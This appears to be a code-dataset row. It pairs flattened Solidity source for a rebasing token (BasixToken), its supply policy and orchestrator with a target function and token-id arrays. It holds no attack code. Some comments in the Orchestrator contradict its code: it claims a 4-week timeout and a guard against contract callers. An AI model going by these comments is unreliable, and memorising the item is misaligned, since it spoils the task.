* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BasixToken.sol
/*
___ _____ ___ _ _ _
( _`\ ( _ )( _`\ (_)( ) ( )
| (_) )| (_) || (_(_)| |`\`\/'/'
| _ <'| _ |`\__ \ | | > <
| (_) )| | | |( )_) || | /'/\`\
(____/'(_) (_)`\____)(_)(_) (_)
*/
pragma solidity 0.6.5;
/**
* @title BasixToken ERC20 token
* @dev This is part of an implementation of the BasixToken Ideal Money protocol.
* BasixToken is a normal ERC20 token, but its supply can be adjusted by splitting and
* combining tokens proportionally across all wallets.
*
* BASIX balances are internally represented with a hidden denomination, 'grains'.
* We support splitting the currency in expansion and combining the currency on contraction by
* changing the exchange rate between the hidden 'grains' and the public 'fragments'.
*/
contract BasixToken is ERC20, Ownable {
// PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
// Anytime there is division, there is a risk of numerical instability from rounding errors. In
// order to minimize this risk, we adhere to the following guidelines:
// 1) The conversion rate adopted is the number of grains that equals 1 fragment.
// The inverse rate must not be used--TOTAL_GRAINS is always the numerator and _totalSupply is
// always the denominator. (i.e. If you want to convert grains to fragments instead of
// multiplying by the inverse rate, you should divide by the normal rate)
// 2) Grain balances converted into Fragments are always rounded down (truncated).
//
// We make the following guarantees:
// - If address 'A' transfers x Fragments to address 'B'. A's resulting public balance will
// be decreased by precisely x Fragments, and B's public balance will be precisely
// increased by x Fragments.
//
// We do not guarantee that the sum of all balances equals the result of calling totalSupply().
// This is because, for any conversion function 'f()' that has non-zero rounding error,
// f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
// Used for authentication
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy, "Required Monetarypolicy");
_;
}
bool private rebasePausedDeprecated;
bool private tokenPausedDeprecated;
modifier validRecipient(address to) {
require(to != address(0x0), "No valid address");
require(to != address(this), "No valid address");
_;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 2000000 * uint(10)**DECIMALS;
uint256 private constant TRANSFER_FEE = 100; // 1%
// TOTAL_GRAINS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _grainsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
uint256 private constant TOTAL_GRAINS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GRAINS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _grainsPerFragment;
mapping(address => uint256) private _grainBalances;
mapping(address => bool) _feeWhiteList;
// This is denominated in Fragments, because the grains-fragments conversion might change before
// it's fully paid.
mapping (address => mapping (address => uint256)) private _allowedFragments;
constructor (
string memory name_,
string memory symbol_,
address owner_,
address pool_
)
ERC20(name_, symbol_) public {
rebasePausedDeprecated = false;
tokenPausedDeprecated = false;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_grainsPerFragment = TOTAL_GRAINS.div(_totalSupply);
uint256 poolVal = 200000 * (10 ** DECIMALS);
uint256 poolGrains = poolVal.mul(_grainsPerFragment);
_grainBalances[owner_] = TOTAL_GRAINS.sub(poolGrains);
_grainBalances[pool_] = poolGrains;
addToWhitelist(owner_);
addToWhitelist(pool_);
emit Transfer(address(0x0), owner_, _totalSupply.sub(poolVal));
emit Transfer(address(0x0), pool_, poolVal);
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function addToWhitelist(address wallet) onlyOwner() public {
_feeWhiteList[wallet] = true;
}
function removeFromWhitelist(address wallet) onlyOwner() public {
_feeWhiteList[wallet] = false;
}
/**
* @param monetaryPolicy_ The address of the monetary policy contract to use for authentication.
*/
function setMonetaryPolicy(address monetaryPolicy_)
public
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
/**
* @dev Notifies Fragments contract about a new rebase cycle.
* @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
* @return The total number of fragments after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
public
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_grainsPerFragment = TOTAL_GRAINS.div(_totalSupply);
// From this point forward, _grainsPerFragment is taken as the source of truth.
// We recalculate a new _totalSupply to be in agreement with the _grainsPerFragment
// conversion rate.
// This means our applied supplyDelta can deviate from the requested supplyDelta,
// but this deviation is guaranteed to be < (_totalSupply^2)/(TOTAL_GRAINS - _totalSupply).
//
// In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this
// deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is
// ever increased, it must be re-included.
// _totalSupply = TOTAL_GRAINS.div(_grainsPerFragment)
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who) public view override returns (uint256) {
return _grainBalances[who].div(_grainsPerFragment);
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
override
validRecipient(to)
returns (bool)
{
if (_feeWhiteList[to]) {
uint256 grainValue = value.mul(_grainsPerFragment);
_grainBalances[msg.sender] = _grainBalances[msg.sender].sub(grainValue);
_grainBalances[to] = _grainBalances[to].add(grainValue);
emit Transfer(msg.sender, to, value);
return true;
} else {
uint256 grainValue = value.mul(_grainsPerFragment);
uint256 grainFee = grainValue.div(10000).mul(TRANSFER_FEE);
uint256 newGrainsValue = grainValue - grainFee;
uint256 newValue = newGrainsValue.div(_grainsPerFragment);
_burn(msg.sender, grainFee);
_grainBalances[msg.sender] = _grainBalances[msg.sender].sub(newGrainsValue);
_grainBalances[to] = _grainBalances[to].add(newGrainsValue);
emit Transfer(msg.sender, to, newValue);
return true;
}
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
view
override
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
override
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
if (_feeWhiteList[from] || _feeWhiteList[to]) {
uint256 grainValue = value.mul(_grainsPerFragment);
_grainBalances[from] = _grainBalances[from].sub(grainValue);
_grainBalances[to] = _grainBalances[to].add(grainValue);
emit Transfer(from, to, value);
return true;
} else {
uint256 grainValue = value.mul(_grainsPerFragment);
uint256 grainFee = grainValue.div(10000).mul(TRANSFER_FEE);
uint256 newGrainsValue = grainValue - grainFee;
uint256 newValue = newGrainsValue.div(_grainsPerFragment);
_burn(from, grainFee);
_grainBalances[from] = _grainBalances[from].sub(newGrainsValue);
_grainBalances[to] = _grainBalances[to].add(newGrainsValue);
emit Transfer(from, to, newValue);
return true;
}
}
function _burn(address account, uint256 grainsAmount) internal override {
require(account != address(0), "ERC20: burn from the zero address");
_grainBalances[account] = _grainBalances[account].sub(grainsAmount, "ERC20: burn amount exceeds balance");
uint256 amount = grainsAmount.div(_grainsPerFragment);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
override
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
// File: contracts/lib/IOracle.sol
pragma solidity 0.6.5;
interface IOracle {
function getData() external returns (uint256, bool);
}
// File: contracts/lib/UInt256Lib.sol
pragma solidity 0.6.5;
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a) internal pure returns (int256) {
require(a <= MAX_INT256);
return int256(a);
}
}
// File: contracts/BasixProtocol.sol
/*
___ _____ ___ _ _ _
( _`\ ( _ )( _`\ (_)( ) ( )
| (_) )| (_) || (_(_)| |`\`\/'/'
| _ <'| _ |`\__ \ | | > <
| (_) )| | | |( )_) || | /'/\`\
(____/'(_) (_)`\____)(_)(_) (_)
*/
pragma solidity 0.6.5;
/**
* @title BasixToken Monetary Supply Policy
* @dev This is an implementation of the BasixToken Ideal Money protocol.
* BasixToken operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the BasixToken ERC20 token in response to
* market oracles.
*/
contract BasixProtocol is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
BasixToken public fragments;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
// (eg) An oracle value of 1.5e18 it would mean 1 Ample is trading for $1.50.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
// This module orchestrates the rebase execution and downstream notification.
address public orchestrator;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator, "Only Orchestrator");
_;
}
constructor (BasixToken fragments_) public {
// deviationThreshold = 0.05e18 = 5e16
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 10;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 32400; // 9AM UTC
rebaseWindowLengthSec = 60 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
fragments = fragments_;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase() external onlyOrchestrator {
require(inRebaseWindow(), "Not in rebase window");
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now, "No reentrancy");
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)
).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 targetRate = 10 ** DECIMALS;
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid, "Not valid rate");
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && fragments.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(fragments.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = fragments.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, supplyDelta, now);
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
// can be set only once
require(address(marketOracle) == address(0), "Not valid oracle address");
marketOracle = marketOracle_;
}
/**
* @notice Sets the reference to the orchestrator.
* @param orchestrator_ The address of the orchestrator contract.
*/
function setOrchestrator(address orchestrator_)
external
onlyOwner
{
orchestrator = orchestrator_;
}
/**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made. DECIMALS fixed point number.
* @param deviationThreshold_ The new exchange rate threshold fraction.
*/
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0, "Not valid rebase lag");
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
* @param rebaseWindowOffsetSec_ The number of seconds from the beginning of
the rebase interval, where the rebase window begins.
* @param rebaseWindowLengthSec_ The length of the rebase window in seconds.
*/
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ > 0, "Not valid min rebase time interval seconds");
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_, "Not valid min rebase time interval seconds");
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return fragments.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
// File: contracts/Orchestrator.sol
/*
___ _____ ___ _ _ _
( _`\ ( _ )( _`\ (_)( ) ( )
| (_) )| (_) || (_(_)| |`\`\/'/'
| _ <'| _ |`\__ \ | | > <
| (_) )| | | |( )_) || | /'/\`\
(____/'(_) (_)`\____)(_)(_) (_)
*/
pragma solidity 0.6.5;
/**
* @title Orchestrator
* @notice The orchestrator is the main entry point for rebase operations. It coordinates the policy
* actions with external consumers.
*/
contract Orchestrator is Ownable {
using SafeMath for uint256;
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
// Stable ordering is not guaranteed.
Transaction[] public transactions;
ERC20 public basix;
address public deployer;
YearnRewardsI public pool;
UniV2PairI public uniSyncs;
BasixProtocol public policy;
uint256 public rebaseRequiredSupply;
address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
// https://uniswap.org/docs/v2/smart-contract-integration/getting-pair-addresses/
function genUniAddr(address left, address right) internal pure returns (UniV2PairI) {
address first = left < right ? left : right;
address second = left < right ? right : left;
address pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
uniFactory,
keccak256(abi.encodePacked(first, second)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
return UniV2PairI(pair);
}
constructor (
address policy_,
address pool_,
address basix_,
address sUSD_,
uint256 rebaseRequiredSupply_
) public {
policy = BasixProtocol(policy_);
pool = YearnRewardsI(pool_);
basix = ERC20(basix_);
uniSyncs = genUniAddr(basix_, sUSD_);
rebaseRequiredSupply = rebaseRequiredSupply_;
}
/**
* @notice Main entry point to initiate a rebase operation.
* The Orchestrator calls rebase on the policy and notifies downstream applications.
* Contracts are guarded from calling, to avoid flash loan attacks on liquidity
* providers.
* If a transaction in the transaction list reverts, it is swallowed and the remaining
* transactions are executed.
*/
function rebase()
external
{
// wait for `rebaseRequiredSupply` token supply to be rewarded until rebase is possible
// timeout after 4 weeks if people don't claim rewards so it's not stuck
uint256 rewardsDistributed = pool.totalRewards();
require(rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= pool.starttime() + 1 days, "Rebase not ready");
policy.rebase();
uniSyncs.sync();
}
} | * @notice Main entry point to initiate a rebase operation. The Orchestrator calls rebase on the policy and notifies downstream applications. Contracts are guarded from calling, to avoid flash loan attacks on liquidity providers. If a transaction in the transaction list reverts, it is swallowed and the remaining transactions are executed./ wait for `rebaseRequiredSupply` token supply to be rewarded until rebase is possible timeout after 4 weeks if people don't claim rewards so it's not stuck | function rebase()
external
{
uint256 rewardsDistributed = pool.totalRewards();
require(rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= pool.starttime() + 1 days, "Rebase not ready");
policy.rebase();
uniSyncs.sync();
}
| 7,660,630 | [
1,
6376,
1241,
1634,
358,
18711,
279,
283,
1969,
1674,
18,
540,
1021,
2965,
23386,
639,
4097,
283,
1969,
603,
326,
3329,
471,
19527,
18186,
12165,
18,
540,
30131,
854,
3058,
17212,
628,
4440,
16,
358,
4543,
9563,
28183,
28444,
603,
4501,
372,
24237,
540,
9165,
18,
540,
971,
279,
2492,
316,
326,
2492,
666,
15226,
87,
16,
518,
353,
1352,
8151,
471,
326,
4463,
540,
8938,
854,
7120,
18,
19,
2529,
364,
1375,
266,
1969,
3705,
3088,
1283,
68,
1147,
14467,
358,
506,
283,
11804,
3180,
283,
1969,
353,
3323,
2021,
1839,
1059,
17314,
309,
16951,
2727,
1404,
7516,
283,
6397,
1427,
518,
1807,
486,
384,
9031,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
283,
1969,
1435,
203,
3639,
3903,
203,
565,
288,
203,
3639,
2254,
5034,
283,
6397,
1669,
11050,
273,
2845,
18,
4963,
17631,
14727,
5621,
203,
3639,
2583,
12,
266,
6397,
1669,
11050,
1545,
283,
1969,
3705,
3088,
1283,
747,
1203,
18,
5508,
1545,
2845,
18,
1937,
957,
1435,
397,
404,
4681,
16,
315,
426,
1969,
486,
5695,
8863,
203,
203,
3639,
3329,
18,
266,
1969,
5621,
203,
203,
3639,
7738,
4047,
87,
18,
8389,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
